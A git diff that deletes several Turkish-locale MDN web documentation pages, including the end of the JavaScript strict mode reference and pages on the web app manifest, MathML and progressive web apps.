throws a TypeError - -// Assignment to a non-writable property -var obj1 = {}; -Object.defineProperty(obj1, 'x', { value: 42, writable: false }); -obj1.x = 9; // throws a TypeError - -// Assignment to a getter-only property -var obj2 = { get x() { return 17; } }; -obj2.x = 5; // throws a TypeError - -// Assignment to a new property on a non-extensible object -var fixed = {}; -Object.preventExtensions(fixed); -fixed.newProp = 'ohai'; // throws a TypeError -</pre> - -<p>Third, strict mode makes attempts to delete undeletable properties throw (where before the attempt would simply have no effect):</p> - -<pre class="brush: js">'use strict'; -delete Object.prototype; // throws a TypeError -</pre> - -<p>Fourth, strict mode prior to Gecko 34 requires that all properties named in an object literal be unique. The normal code may duplicate property names, with the last one determining the property's value. But since only the last one does anything, the duplication is simply a vector for bugs, if the code is modified to change the property value other than by changing the last instance. Duplicate property names are a syntax error in strict mode:</p> - -<div class="note"> -<p>This is no longer the case in ECMAScript 2015 (<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1041128">bug 1041128</a>).</p> -</div> - -<pre class="brush: js">'use strict'; -var o = { p: 1, p: 2 }; // !!! syntax error -</pre> - -<p>Fifth, strict mode requires that function parameter names be unique. In normal code the last duplicated argument hides previous identically-named arguments. Those previous arguments remain available through <code>arguments[i]</code>, so they're not completely inaccessible. Still, this hiding makes little sense and is probably undesirable (it might hide a typo, for example), so in strict mode duplicate argument names are a syntax error:</p> - -<pre class="brush: js">function sum(a, a, c) { // !!! syntax error - 'use strict'; - return a + a + c; // wrong if this code ran -} -</pre> - -<p>Sixth, a strict mode in ECMAScript 5 forbids octal syntax. The octal syntax isn't part of ECMAScript 5, but it's supported in all browsers by prefixing the octal number with a zero: <code>0644 === 420</code> and <code>"\045" === "%"</code>. In ECMAScript 2015 Octal number is supported by prefixing a number with "<code>0o</code>". i.e. </p> - -<pre class="brush: js">var a = 0o10; // ES2015: Octal</pre> - -<p>Novice developers sometimes believe a leading zero prefix has no semantic meaning, so they use it as an alignment device — but this changes the number's meaning! A leading zero syntax for the octals is rarely useful and can be mistakenly used, so strict mode makes it a syntax error:</p> - -<pre class="brush: js">'use strict'; -var sum = 015 + // !!! syntax error - 197 + - 142; - -var sumWithOctal = 0o10 + 8; -console.log(sumWithOctal); // 16 -</pre> - -<p>Seventh, strict mode in ECMAScript 2015 forbids setting properties on <a href="/en-US/docs/Glossary/primitive">primitive</a> values. Without strict mode, setting properties is simply ignored (no-op), with strict mode, however, a {{jsxref("TypeError")}} is thrown.</p> - -<pre class="brush: js">(function() { -'use strict'; - -false.true = ''; // TypeError -(14).sailing = 'home'; // TypeError -'with'.you = 'far away'; // TypeError - -})();</pre> - -<h3 id="Simplifying_variable_uses">Simplifying variable uses</h3> - -<p>Strict mode simplifies how variable names map to particular variable definitions in the code. Many compiler optimizations rely on the ability to say that variable <em>X</em> is stored in <em>that</em> location: this is critical to fully optimizing JavaScript code. JavaScript sometimes makes this basic mapping of name to variable definition in the code impossible to perform until runtime. Strict mode removes most cases where this happens, so the compiler can better optimize strict mode code.</p> - -<p>First, strict mode prohibits <code>with</code>. The problem with <code>with</code> is that any name inside the block might map either to a property of the object passed to it, or to a variable in surrounding (or even global) scope, at runtime: it's impossible to know which beforehand. Strict mode makes <code>with</code> a syntax error, so there's no chance for a name in a <code>with</code> to refer to an unknown location at runtime:</p> - -<pre class="brush: js">'use strict'; -var x = 17; -with (obj) { // !!! syntax error - // If this weren't strict mode, would this be var x, or - // would it instead be obj.x? It's impossible in general - // to say without running the code, so the name can't be - // optimized. - x; -} -</pre> - -<p>The simple alternative of assigning the object to a short name variable, then accessing the corresponding property on that variable, stands ready to replace <code>with</code>.</p> - -<p>Second, <a class="external" href="http://whereswalden.com/2011/01/10/new-es5-strict-mode-support-new-vars-created-by-strict-mode-eval-code-are-local-to-that-code-only/"><code>eval</code> of strict mode code does not introduce new variables into the surrounding scope</a>. In normal code <code>eval("var x;")</code> introduces a variable <code>x</code> into the surrounding function or the global scope. This means that, in general, in a function containing a call to <code>eval</code> every name not referring to an argument or local variable must be mapped to a particular definition at runtime (because that <code>eval</code> might have introduced a new variable that would hide the outer variable). In strict mode <code>eval</code> creates variables only for the code being evaluated, so <code>eval</code> can't affect whether a name refers to an outer variable or some local variable:</p> - -<pre class="brush: js">var x = 17; -var evalX = eval("'use strict'; var x = 42; x;"); -console.assert(x === 17); -console.assert(evalX === 42); -</pre> - -<p>If the function <code>eval</code> is invoked by an expression of the form <code>eval(...)</code> in strict mode code, the code will be evaluated as strict mode code. The code may explicitly invoke strict mode, but it's unnecessary to do so.</p> - -<pre class="brush: js">function strict1(str) { - 'use strict'; - return eval(str); // str will be treated as strict mode code -} -function strict2(f, str) { - 'use strict'; - return f(str); // not eval(...): str is strict if and only - // if it invokes strict mode -} -function nonstrict(str) { - return eval(str); // str is strict if and only - // if it invokes strict mode -} - -strict1("'Strict mode code!'"); -strict1("'use strict'; 'Strict mode code!'"); -strict2(eval, "'Non-strict code.'"); -strict2(eval, "'use strict'; 'Strict mode code!'"); -nonstrict("'Non-strict code.'"); -nonstrict("'use strict'; 'Strict mode code!'"); -</pre> - -<p>Thus names in strict mode <code>eval</code> code behave identically to names in strict mode code not being evaluated as the result of <code>eval</code>.</p> - -<p>Third, strict mode forbids deleting plain names. <code>delete name</code> in strict mode is a syntax error:</p> - -<pre class="brush: js">'use strict'; - -var x; -delete x; // !!! syntax error - -eval('var y; delete y;'); // !!! syntax error</pre> - -<h3 id="Making_eval_and_arguments_simpler">Making <code>eval</code> and <code>arguments</code> simpler</h3> - -<p>Strict mode makes <code>arguments</code> and <code>eval</code> less bizarrely magical. Both involve a considerable amount of magical behavior in normal code: <code>eval</code> to add or remove bindings and to change binding values, and <code>arguments</code> by its indexed properties aliasing named arguments. Strict mode makes great strides toward treating <code>eval</code> and <code>arguments</code> as keywords, although full fixes will not come until a future edition of ECMAScript.</p> - -<p>First, the names <code>eval</code> and <code>arguments</code> can't be bound or assigned in language syntax. All these attempts to do so are syntax errors:</p> - -<pre class="brush: js">'use strict'; -eval = 17; -arguments++; -++eval; -var obj = { set p(arguments) { } }; -var eval; -try { } catch (arguments) { } -function x(eval) { } -function arguments() { } -var y = function eval() { }; -var f = new Function('arguments', "'use strict'; return 17;"); -</pre> - -<p>Second, strict mode code doesn't alias properties of <code>arguments</code> objects created within it. In normal code within a function whose first argument is <code>arg</code>, setting <code>arg</code> also sets <code>arguments[0]</code>, and vice versa (unless no arguments were provided or <code>arguments[0]</code> is deleted). <code>arguments</code> objects for strict mode functions store the original arguments when the function was invoked. <code>arguments[i]</code> does not track the value of the corresponding named argument, nor does a named argument track the value in the corresponding <code>arguments[i]</code>.</p> - -<pre class="brush: js">function f(a) { - 'use strict'; - a = 42; - return [a, arguments[0]]; -} -var pair = f(17); -console.assert(pair[0] === 42); -console.assert(pair[1] === 17); -</pre> - -<p>Third, <code>arguments.callee</code> is no longer supported. In normal code <code>arguments.callee</code> refers to the enclosing function. This use case is weak: simply name the enclosing function! Moreover, <code>arguments.callee</code> substantially hinders optimizations like inlining functions, because it must be made possible to provide a reference to the un-inlined function if <code>arguments.callee</code> is accessed. <code>arguments.callee</code> for strict mode functions is a non-deletable property which throws an error when set or retrieved:</p> - -<pre class="brush: js">'use strict'; -var f = function() { return arguments.callee; }; -f(); // throws a TypeError -</pre> - -<h3 id="Securing_JavaScript">"Securing" JavaScript</h3> - -<p>Strict mode makes it easier to write "secure" JavaScript. Some websites now provide ways for users to write JavaScript which will be run by the website <em>on behalf of other users</em>. JavaScript in browsers can access the user's private information, so such JavaScript must be partially transformed before it is run, to censor access to forbidden functionality. JavaScript's flexibility makes it effectively impossible to do this without many runtime checks. Certain language functions are so pervasive that performing runtime checks has a considerable performance cost. A few strict mode tweaks, plus requiring that user-submitted JavaScript be strict mode code and that it be invoked in a certain manner, substantially reduce the need for those runtime checks.</p> - -<p>First, the value passed as <code>this</code> to a function in strict mode is not forced into being an object (a.k.a. "boxed"). For a normal function, <code>this</code> is always an object: either the provided object if called with an object-valued <code>this</code>; the value, boxed, if called with a Boolean, string, or number <code>this</code>; or the global object if called with an <code>undefined</code> or <code>null</code> <code>this</code>. (Use <a href="/en-US/Web/JavaScript/Reference/Global_Objects/Function/call" title="en-US/JavaScript/Reference/Global_Objects/Function/call"><code>call</code></a>, <a href="/en-US/Web/JavaScript/Reference/Global_Objects/Function/apply" title="en-US/JavaScript/Reference/Global_Objects/Function/apply"><code>apply</code></a>, or <a href="/en-US/Web/JavaScript/Reference/Global_Objects/Function/bind" title="en-US/JavaScript/Reference/Global_Objects/Function/bind"><code>bind</code></a> to specify a particular <code>this</code>.) Not only is automatic boxing a performance cost, but exposing the global object in browsers is a security hazard because the global object provides access to functionality that "secure" JavaScript environments must restrict. Thus for a strict mode function, the specified <code>this</code> is not boxed into an object, and if unspecified, <code>this</code> will be <code>undefined</code>:</p> - -<pre class="brush: js">'use strict'; -function fun() { return this; } -console.assert(fun() === undefined); -console.assert(fun.call(2) === 2); -console.assert(fun.apply(null) === null); -console.assert(fun.call(undefined) === undefined); -console.assert(fun.bind(true)() === true); -</pre> - -<p>That means, among other things, that in browsers it's no longer possible to reference the <code>window</code> object through <code>this</code> inside a strict mode function.</p> - -<p>Second, in strict mode it's no longer possible to "walk" the JavaScript stack via commonly-implemented extensions to ECMAScript. In normal code with these extensions, when a function <code>fun</code> is in the middle of being called, <code>fun.caller</code> is the function that most recently called <code>fun</code>, and <code>fun.arguments</code> is the <code>arguments</code> for that invocation of <code>fun</code>. Both extensions are problematic for "secure" JavaScript because they allow "secured" code to access "privileged" functions and their (potentially unsecured) arguments. If <code>fun</code> is in strict mode, both <code>fun.caller</code> and <code>fun.arguments</code> are non-deletable properties which throw when set or retrieved:</p> - -<pre class="brush: js">function restricted() { - 'use strict'; - restricted.caller; // throws a TypeError - restricted.arguments; // throws a TypeError -} -function privilegedInvoker() { - return restricted(); -} -privilegedInvoker(); -</pre> - -<p>Third, <code>arguments</code> for strict mode functions no longer provide access to the corresponding function call's variables. In some old ECMAScript implementations <code>arguments.caller</code> was an object whose properties aliased variables in that function. This is a <a class="external" href="http://stuff.mit.edu/iap/2008/facebook/">security hazard</a> because it breaks the ability to hide privileged values via function abstraction; it also precludes most optimizations. For these reasons no recent browsers implement it. Yet because of its historical functionality, <code>arguments.caller</code> for a strict mode function is also a non-deletable property which throws when set or retrieved:</p> - -<pre class="brush: js">'use strict'; -function fun(a, b) { - 'use strict'; - var v = 12; - return arguments.caller; // throws a TypeError -} -fun(1, 2); // doesn't expose v (or a or b) -</pre> - -<h3 id="Paving_the_way_for_future_ECMAScript_versions">Paving the way for future ECMAScript versions</h3> - -<p>Future ECMAScript versions will likely introduce new syntax, and strict mode in ECMAScript 5 applies some restrictions to ease the transition. It will be easier to make some changes if the foundations of those changes are prohibited in strict mode.</p> - -<p>First, in strict mode, a short list of identifiers become reserved keywords. These words are <code>implements</code>, <code>interface</code>, <code>let</code>, <code>package</code>, <code>private</code>, <code>protected</code>, <code>public</code>, <code>static</code>, and <code>yield</code>. In strict mode, then, you can't name or use variables or arguments with these names.</p> - -<pre class="brush: js">function package(protected) { // !!! - 'use strict'; - var implements; // !!! - - interface: // !!! - while (true) { - break interface; // !!! - } - - function private() { } // !!! -} -function fun(static) { 'use strict'; } // !!! - -</pre> - -<p>Two Mozilla-specific caveats: First, if your code is JavaScript 1.7 or greater (for example in chrome code or when using the right <code><script type=""></code>) and is strict mode code, <code>let</code> and <code>yield</code> have the functionality they've had since those keywords were first introduced. But strict mode code on the web, loaded with <code><script src=""></code> or <code><script>...</script></code>, won't be able to use <code>let</code>/<code>yield</code> as identifiers. Second, while ES5 unconditionally reserves the words <code>class</code>, <code>enum</code>, <code>export</code>, <code>extends</code>, <code>import</code>, and <code>super</code>, before Firefox 5 Mozilla reserved them only in strict mode.</p> - -<p>Second, <a class="external" href="http://whereswalden.com/2011/01/24/new-es5-strict-mode-requirement-function-statements-not-at-top-level-of-a-program-or-function-are-prohibited/">strict mode prohibits function statements, not at the top level of a script or function</a>. In normal mode in browsers, function statements are permitted "everywhere". <em>This is not part of ES5 (or even ES3)!</em> It's an extension with incompatible semantics in different browsers. Note that function statements outside top level are permitted in ES2015.</p> - -<pre class="brush: js">'use strict'; -if (true) { - function f() { } // !!! syntax error - f(); -} - -for (var i = 0; i < 5; i++) { - function f2() { } // !!! syntax error - f2(); -} - -function baz() { // kosher - function eit() { } // also kosher -} -</pre> - -<p>This prohibition isn't strict mode proper because such function statements are an extension of basic ES5. But it is the recommendation of the ECMAScript committee, and browsers will implement it.</p> - -<h2 id="Strict_mode_in_browsers">Strict mode in browsers</h2> - -<p>The major browsers now implement strict mode. However, don't blindly depend on it since there still are numerous <a class="external" href="http://caniuse.com/use-strict" rel="external" title="caniuse.com availability of strict mode">Browser versions used in the wild that only have partial support for strict mode</a> or do not support it at all (e.g. Internet Explorer below version 10!). <em>Strict mode changes semantics.</em> Relying on those changes will cause mistakes and errors in browsers which don't implement strict mode. Exercise caution in using strict mode, and back up reliance on strict mode with feature tests that check whether relevant parts of strict mode are implemented. Finally, make sure to <em>test your code in browsers that do and don't support strict mode</em>. If you test only in browsers that don't support strict mode, you're very likely to have problems in browsers that do, and vice versa.</p> - -<h2 id="Specifications">Specifications</h2> - -<table class="standard-table"> - <tbody> - <tr> - <th scope="col">Specification</th> - </tr> - <tr> - <td>{{SpecName('ESDraft', '#sec-strict-mode-code', 'Strict Mode Code')}}</td> - </tr> - </tbody> -</table> - -<h2 id="See_also">See also</h2> - -<ul> - <li><a class="external" href="http://whereswalden.com/2010/09/08/new-es5-strict-mode-support-now-with-poison-pills/" title="http://whereswalden.com/2010/09/08/new-es5-strict-mode-support-now-with-poison-pills/">Where's Walden? » New ES5 strict mode support: now with poison pills!</a></li> - <li><a class="external" href="http://whereswalden.com/2011/01/24/new-es5-strict-mode-requirement-function-statements-not-at-top-level-of-a-program-or-function-are-prohibited/" title="http://whereswalden.com/2011/01/24/new-es5-strict-mode-requirement-function-statements-not-at-top-level-of-a-program-or-function-are-prohibited/">Where's Walden? » New ES5 strict mode requirement: function statements not at top level of a program or function are prohibited</a></li> - <li><a class="external" href="http://whereswalden.com/2011/01/10/new-es5-strict-mode-support-new-vars-created-by-strict-mode-eval-code-are-local-to-that-code-only/" title="http://whereswalden.com/2011/01/10/new-es5-strict-mode-support-new-vars-created-by-strict-mode-eval-code-are-local-to-that-code-only/">Where's Walden? » New ES5 strict mode support: new vars created by strict mode eval code are local to that code only</a></li> - <li><a href="http://qnimate.com/javascript-strict-mode-in-nutshell/">JavaScript "use strict" tutorial for beginners.</a></li> - <li><a class="external" href="http://ejohn.org/blog/ecmascript-5-strict-mode-json-and-more/" title="http://ejohn.org/blog/ecmascript-5-strict-mode-json-and-more/">John Resig - ECMAScript 5 Strict Mode, JSON, and More</a></li> - <li><a class="external" href="http://dmitrysoshnikov.com/ecmascript/es5-chapter-2-strict-mode/">ECMA-262-5 in detail. Chapter 2. Strict Mode.</a></li> - <li><a class="external" href="http://kangax.github.io/compat-table/es5/#Strict_mode">Strict mode compatibility table</a></li> - <li><a href="/en-US/docs/Web/JavaScript/Reference/Strict_mode/Transitioning_to_strict_mode">Transitioning to strict mode</a></li> -</ul> diff --git a/files/tr/web/manifest/index.html b/files/tr/web/manifest/index.html deleted file mode 100644 index 53eb806f14..0000000000 --- a/files/tr/web/manifest/index.html +++ /dev/null @@ -1,94 +0,0 @@ ---- -title: Web Uygulama Bildirisi -slug: Web/Manifest -tags: - - Ağ - - Bildiri - - Süreğen Ağ Uygulamaları - - Uygulama -translation_of: Web/Manifest -original_slug: Web/Bildiri ---- -<p>Web uygulama bildirisi uygulamayla ilgili bilgiler (ad, yazar, açıklama...) veren bir JSON dosyasıdır. </p> - -<p>Web uygulama bildirileri <a href="https://developer.mozilla.org/en-US/docs/Web/Apps/Progressive/Introduction">süreğen ağ uygulamaları </a>için belirlenen ölçünlerin bir parçasıdır. </p> - -<h2 id="Deploying_a_manifest_with_the_link_tag" name="Deploying_a_manifest_with_the_link_tag">Belgeye çağırmak</h2> - -<p>Web uygulama bildirileri HTML belgesindeki <a href="/en-US/docs/Web/HTML/Element/head">head</a> bölümüne <a href="/en-US/docs/Web/HTML/Element/link">link ögesi</a> eklenerek çağrılır.</p> - -<pre class="brush: html"><link rel="manifest" href="/bildiri.webmanifest"></pre> - -<div class="note"> -<p><strong>Bilgi</strong>: <code>.webmanifest</code> uzantısı bildirgedeki <a href="https://w3c.github.io/manifest/#media-type-registration">Ortam türü kaydı</a> bölümünde bildirilmiştir ama tarayıcılar genellikle diğer uygun uzantıları (<code>.json</code>) da destekler.</p> -</div> - -<h2 id="Örnek_bildiri">Örnek bildiri</h2> - -<pre class="brush: json">{ - "short_name": "Otağ JS", - "name": "Otağ JavaScript Çatısı Ağ Yerliği", - "start_url":"https://otagjs.org/#/belge", - "display":"standalone", - "theme_color":"#000", - "background_color":"#FAFAFA", - "icons": [ - { - "src": "img/android-icon-36x36.png", - "sizes": "36x36", - "type": "image/png", - "density": "0.75" - }, - { - "src": "img/android-icon-48x48.png", - "sizes": "48x48", - "type": "image/png", - "density": "1.0" - }, - { - "src": "img/android-icon-72x72.png", - "sizes": "72x72", - "type": "image/png", - "density": "1.5" - }, - { - "src": "img/android-icon-96x96.png", - "sizes": "96x96", - "type": "image/png", - "density": "2.0" - }, - { - "src": "img/android-icon-144x144.png", - "sizes": "144x144", - "type": "image/png", - "density": "3.0" - } - ] -}</pre> - -<h2 id="Özellikler">Özellikler</h2> - -<h3 id="background_color"><code>background_color</code></h3> - -<p>Uygulamanın ardalan rengini belirler. Burada CSS belgesinde belirtilen değer yinelenebilir. Bu belirtim, tarayıcınız uygulamayı başlatırken biçim belgeniz daha hazır değilken bile ardalan rengini çizebilmesini sağlar ve içerik yüklenirken yumuşak bir geçiş oluşturur. </p> - -<pre class="brush: json">"background_color": "#F00"</pre> - -<div class="note"> -<p><strong>Bilgi</strong>: <code>background_color</code> özelliği yalnızca içerik yüklenirken kullanıcı deneyimini artırmak amacıyla düşünülmüştür. Süreğen ağ uygulamanızın biçim(CSS) belgesi yüklendikten sonra <a href="/en-US/docs/Web/CSS/background-color">background color</a> geçersiz kılınacaktır.</p> -</div> - -<h3 id="description"><code>description</code></h3> - -<p>Ana ekrana eklenen uygulamanızın ne yaptığını anlatan "açıklama" alanıdır.</p> - -<pre class="brush: json">"description": "Bu uygulama yerleşim alanları arar."</pre> - -<h3 id="dir"><code>dir</code></h3> - -<p><code>name</code>, <code>short_name</code>, <code>description</code> alanlarında belirttiğiniz bilgilerin yazım yönünü belirler.<br> - <code>lang</code> (doğal dil) üyesiyle birlikte sağdan sola dillerin doğru görüntülenmesini sağlar.</p> - -<pre class="brush: json" dir="rtl">"dir": "rtl", -"lang": "otk", -"short_name": "</pre> diff --git a/files/tr/web/mathml/index.html b/files/tr/web/mathml/index.html deleted file mode 100644 index c7e4422089..0000000000 --- a/files/tr/web/mathml/index.html +++ /dev/null @@ -1,71 +0,0 @@ ---- -title: MathML -slug: Web/MathML -tags: - - MathML - - Referans - - Web - - XML -translation_of: Web/MathML ---- -<p class="summary"><strong>Matematiksel İşaretleme Dili (MathML)</strong>, matematiksel gösterimi tanımlamak ve hem yapısını ve hemde içeriğini yakalamak için <a href="/en-US/docs/XML">XML</a>'in bir lehçesidir.</p> - -<p><span id="result_box" lang="tr"><span>Bu güçlü teknolojiyle çalışmanıza yardımcı olacak belgelere, örneklere ve araçlara bağlantılar bulacaksınız.</span></span> <span id="result_box" lang="tr"><span>Hızlı bir genel bakış için, </span></span><span id="result_box" lang="tr"><span><a href="https://fred-wang.github.io/MozSummitMathML/index.html">Mozilla Zirvesi 2013'teki yenilik fuarlarına ait slaytlara</a> bakın.</span></span></p> - -<div class="row topicpage-table"> -<div class="section"> -<h2 id="MathML_Referans">MathML Referans</h2> - -<dl> - <dt><a href="/en-US/docs/Web/MathML/Element">MathML Element Referansı</a></dt> - <dd><span id="result_box" lang="tr"><span>Masaüstü ve mobil tarayıcılar için her bir MathML öğesi ve uyumluluk bilgileri hakkında detaylar.</span></span></dd> - <dt><a href="/en-US/docs/Web/MathML/Attribute">MathML Özellik Referansı</a></dt> - <dd><span id="result_box" lang="tr"><span>Elementlerin görünümünü veya davranışını değiştiren MathML özellikleri hakkında bilgi.</span></span></dd> - <dt><a href="/en-US/docs/Web/MathML/Examples">MathML Örnekler</a></dt> - <dd><span id="result_box" lang="tr"><span>MathML örnekleri ve nasıl çalıştığını anlamanıza yardımcı olacak örnekler.</span></span></dd> - <dt><a href="/en-US/docs/Web/MathML/Authoring">MathML Yazmak</a></dt> - <dd><span id="result_box" lang="tr"><span>Önerilen MathML editörlerini ve çıktılarını Web içeriğine nasıl entegre edebileceklerini de içeren MathML yazma önerileri ve ipuçları.</span></span></dd> -</dl> - -<p><a href="/en-US/docs/tag/MathML">Hepsini Göster...</a></p> -</div> - -<div class="section"> -<h2 id="Topluluktan_Yardım_Alma">Topluluktan Yardım Alma</h2> - -<ul> - <li>Mozilla forumlarını görüntüle...<br> - {{ DiscussionList("dev-tech-mathml", "mozilla.dev.tech.mathml") }}</li> - <li><a href="irc://irc.mozilla.org/%23mathml" rel="external" title="#mathml">Chat kanalı</a></li> - <li><a href="https://wiki.mozilla.org/MathML:Home_Page">Mozilla katılımcıları tarafından kullanılan Wiki</a></li> - <li><a href="https://www.w3.org/Math/" title="http://www.w3.org">W3C Math Anasayfası</a></li> - <li><a href="https://lists.w3.org/Archives/Public/www-math/" title="http://lists.w3.org">www-math w3.org e-mail arşivi</a></li> -</ul> - -<h2 id="Araçlar">Araçlar</h2> - -<ul> - <li><a href="https://validator.w3.org" title="http://validator.w3.org">W3C Validator</a></li> - <li><a href="https://addons.mozilla.org/en/firefox/addon/8969/">FireMath Firefox add-on</a></li> - <li><a href="https://addons.mozilla.org/firefox/collections/fred_wang/mathzilla/">Mathzilla Firefox add-on koleksiyonu</a></li> - <li><a href="https://github.com/fred-wang/TeXZilla">TeXZilla</a> — Javascript LaTeX to MathML dönüştürücüsü (<a href="https://fred-wang.github.io/TeXZilla/" title="http://fred-wang.github.io">canlı demo</a>, <a href="https://r-gaia-cs.github.io/TeXZilla-webapp/" title="http://r-gaia-cs.github.io">Firefox OS webapp</a>, <a href="https://addons.mozilla.org/en-US/firefox/addon/texzilla/">Firefox add-on</a>, <a href="https://github.com/fred-wang/TeXZilla/wiki/Using-TeXZilla">Web Sayfası kullanma, JS program v.b.</a>)</li> - <li><a href="http://dlmf.nist.gov/LaTeXML/" title="http://dlmf.nist.gov">LaTeXML</a> - LaTeX dökümanını HTML+MathML Web sayfasına dönüştür</li> - <li><a href="http://webdemo.visionobjects.com/home.html#equation" title="http://webdemo.visionobjects.com">Web Denklemleri</a> - Elle yazılmış denklemleri MathML yada LaTeX dönüştür</li> - <li><a href="https://www.mathjax.org/" title="http://www.mathjax.org">MathJax</a> - Matematik için çapraz tarayıcı JavaScript ekran motoru. MathJax'ı MathML kullanmaya zorlamak için, <a href="https://addons.mozilla.org/en-US/firefox/addon/mathjax-native-mathml/">Mozilla add-on'nunu</a>, <a href="https://fred-wang.github.io/mathjax-native-mathml-safari/mathjax-native-mathml.safariextz" title="http://fred-wang.github.io">Safari uzantısını</a> yada <a href="https://openuserjs.org/scripts/fred.wang/MathJax_Native_MathML/">GreaseMonkey scriptini</a> deneyin.</li> -</ul> - -<h2 id="İlgili_Konular">İlgili Konular</h2> - -<ul> - <li><a href="/en-US/docs/Web/CSS">CSS</a></li> - <li><a href="/en-US/docs/Web/HTML">HTML</a></li> - <li><a href="/en-US/docs/Web/SVG">SVG</a></li> -</ul> -</div> -</div> - -<h2 id="Tarayıcı_Uyumluluğu">Tarayıcı Uyumluluğu</h2> - - - -<p>{{Compat("mathml.elements.math", 0)}}</p> diff --git a/files/tr/web/progressive_web_apps/index.html b/files/tr/web/progressive_web_apps/index.html deleted file mode 100644 index fc64d2e761..0000000000 --- a/files/tr/web/progressive_web_apps/index.html +++ /dev/null @@ -1,80 +0,0 @@ ---- -title: Progressive web apps (PWAs) -slug: Web/Progressive_web_apps -translation_of: Web/Progressive_web_apps ---- -<p class="summary"><font><font>Aşamalı web uygulamaları, platformlar arası web uygulamaları oluşturmak için geleneksel aşamalı geliştirme stratejisiyle birlikte modern web API'lerini kullanır. </font><font>Bu uygulamalar her yerde çalışır ve yerel uygulamalarla aynı kullanıcı deneyimi avantajlarını sağlayan çeşitli özellikler sunar. </font><font>Bu doküman seti size onlar hakkında bilmeniz gereken her şeyi anlatır.</font></font></p> - -<p class="summary"><img alt="ilerici web uygulamaları topluluğu PWA logosu" src="https://mdn.mozillademos.org/files/16742/pwa.png" style="display: block; height: 188px; margin: 0px auto; width: 350px;"></p> - -<h2 id="PWA_avantajları"><font><font>PWA avantajları</font></font></h2> - -<p><font><font>PWA'lar keşfedilebilir, kurulabilir, bağlanabilir, ağdan bağımsız, aşamalı, yeniden bağlanabilir, duyarlı ve güvenli olmalıdır. </font><font>Bunların ne anlama geldiği hakkında daha fazla bilgi edinmek için </font></font><a href="/en-US/docs/Web/Progressive_web_apps/Advantages"><font><font>Aşamalı web uygulaması avantajlarını</font></font></a><font><font> okuyun </font><font>.</font></font></p> - -<p><a href="https://developers.google.com/web/updates/2018/05/beyond-spa"><font><font>Google</font></font></a><font><font> , PWA'ların neden bu kadar etkili olduğunu anlamak için yararlı bir kısaltma kullanır: YANGIN - Hızlı, Entegre, Güvenilir ve İlgi Çekici. </font><font>Bu kısaltma, PWA'nın geliştiriciler arasında neden eğilimde olduğunun mükemmel bir açıklamasıdır.</font></font></p> - -<p><font><font>PWA'ların nasıl uygulanacağını öğrenmek için, aşağıdaki bölümde listelenen kılavuzlara bakın.</font></font></p> - -<h2 id="Çekirdek_PWA_kılavuzları"><font><font>Çekirdek PWA kılavuzları</font></font></h2> - -<p><font><font>Aşağıdaki kılavuzlar, basit bir örneği inceleyerek ve tüm parçaların nasıl çalıştığını göstererek bir PWA uygulamak için ne yapmanız gerektiğini gösterir.</font></font></p> - -<ol> - <li><a href="/en-US/docs/Web/Progressive_web_apps/Introduction"><font><font>Aşamalı web uygulamalarına giriş</font></font></a></li> - <li><a href="/en-US/docs/Web/Progressive_web_apps/App_structure"><font><font>Aşamalı web uygulaması yapısı</font></font></a></li> - <li><a href="/en-US/docs/Web/Progressive_web_apps/Offline_Service_workers"><font><font>PWA'ların Servis çalışanları ile çevrimdışı çalışmasını sağlama</font></font></a></li> - <li><a href="/en-US/docs/Web/Progressive_web_apps/Installable_PWAs"><font><font>PWA'ları yüklenebilir yapma</font></font></a></li> - <li><a href="/en-US/docs/Web/Progressive_web_apps/Re-engageable_Notifications_Push"><font><font>Bildirimler ve Anında İletme özelliğini kullanarak PWA'ları yeniden kullanılabilir hale getirme</font></font></a></li> - <li><a href="/en-US/docs/Web/Progressive_web_apps/Loading"><font><font>Aşamalı yükleme</font></font></a></li> - <li><a href="https://pwafire.org"><font><font>Pwafire.org adresindeki ekip tarafından PWA'lar oluşturmak için ihtiyacınız olan kaynakların, kod etiketlerinin ve araçların toplanması</font></font></a></li> - <li><a href="https://github.com/pwafire/pwadev-tips"><font><font>Aşamalı Web Uygulaması Geliştirme ortamınızı kurma</font></font></a></li> -</ol> - -<div class="column-container"> -<div class="column-half"> -<h2 id="Teknoloji_kılavuzları"><font><font>Teknoloji kılavuzları</font></font></h2> - -<ul> - <li><a href="/en-US/docs/Learn/JavaScript/Client-side_web_APIs/Client-side_storage"><font><font>İstemci tarafı depolama</font></font></a><font><font> - Web depolama, IndexedDB ve servis çalışanlarının nasıl ve ne zaman kullanılacağını gösteren uzun bir kılavuz.</font></font></li> - <li><a href="/en-US/docs/Web/API/Service_Worker_API/Using_Service_Workers"><font><font>Servis çalışanlarını kullanma</font></font></a><font><font> - Servis Çalışanı API'sını kapsayan daha ayrıntılı bir kılavuz.</font></font></li> - <li><a href="/en-US/docs/Web/API/IndexedDB_API/Using_IndexedDB"><font><font>IndexedDB Kullanımı - IndexedDB'nin</font></font></a><font><font> temelleri ayrıntılı olarak açıklanmıştır.</font></font></li> - <li><a href="/en-US/docs/Web/API/Web_Storage_API/Using_the_Web_Storage_API"><font><font>Web Depolama API'sını kullanma</font></font></a><font><font> - Web depolama API'sı basitleştirildi.</font></font></li> - <li><a class="external external-icon" href="https://developers.google.com/web/updates/2015/11/app-shell" rel="noopener"><font><font>Web Uygulamalarını Bir Uygulama Kabuğu Mimarisiyle Anında Yükleme - Hızlı</font></font></a><font><font> yüklenen uygulamalar oluşturmak için Uygulama Kabuğu kodlama desenini kullanma kılavuzu.</font></font></li> - <li><a href="/en-US/docs/Web/API/Push_API/Using_the_Push_API"><font><font>Push API'sini kullanma</font></font></a><font><font> - Web Push API'sinin arkasındaki temel bilgileri öğrenin.</font></font></li> - <li><a href="/en-US/docs/Web/API/Notifications_API/Using_the_Notifications_API"><font><font>Bildirimler API'sini kullanma</font></font></a><font><font> - Web bildirimleri kısaca.</font></font></li> - <li><a href="/en-US/docs/Web/Apps/Modern/Responsive/responsive_design_building_blocks">The building blocks of responsive design</a> — Learn the basics of responsive design, an essential topic for modern app layout.</li> - <li><a href="/en-US/docs/Web/Apps/Modern/Responsive/Mobile_first">Mobile first</a> — Often when creating responsive application layouts, it makes sense to create the mobile layout as the default, and build wider layouts on top.</li> - <li><a href="/en-US/docs/Web/Apps/Progressive/Add_to_home_screen">Add to home screen guide</a> — Learn how your apps can take advantage of Add to home screen (A2HS).</li> -</ul> -</div> - -<div class="column-half"> -<h2 id="Tools">Tools</h2> - -<ul> - <li><a class="external external-icon" href="https://localforage.github.io/localForage/" rel="noopener">localForage</a> — A nice simple JavaScript library for making client-side data storage really simple; it uses IndexedDB by default and falls back to Web 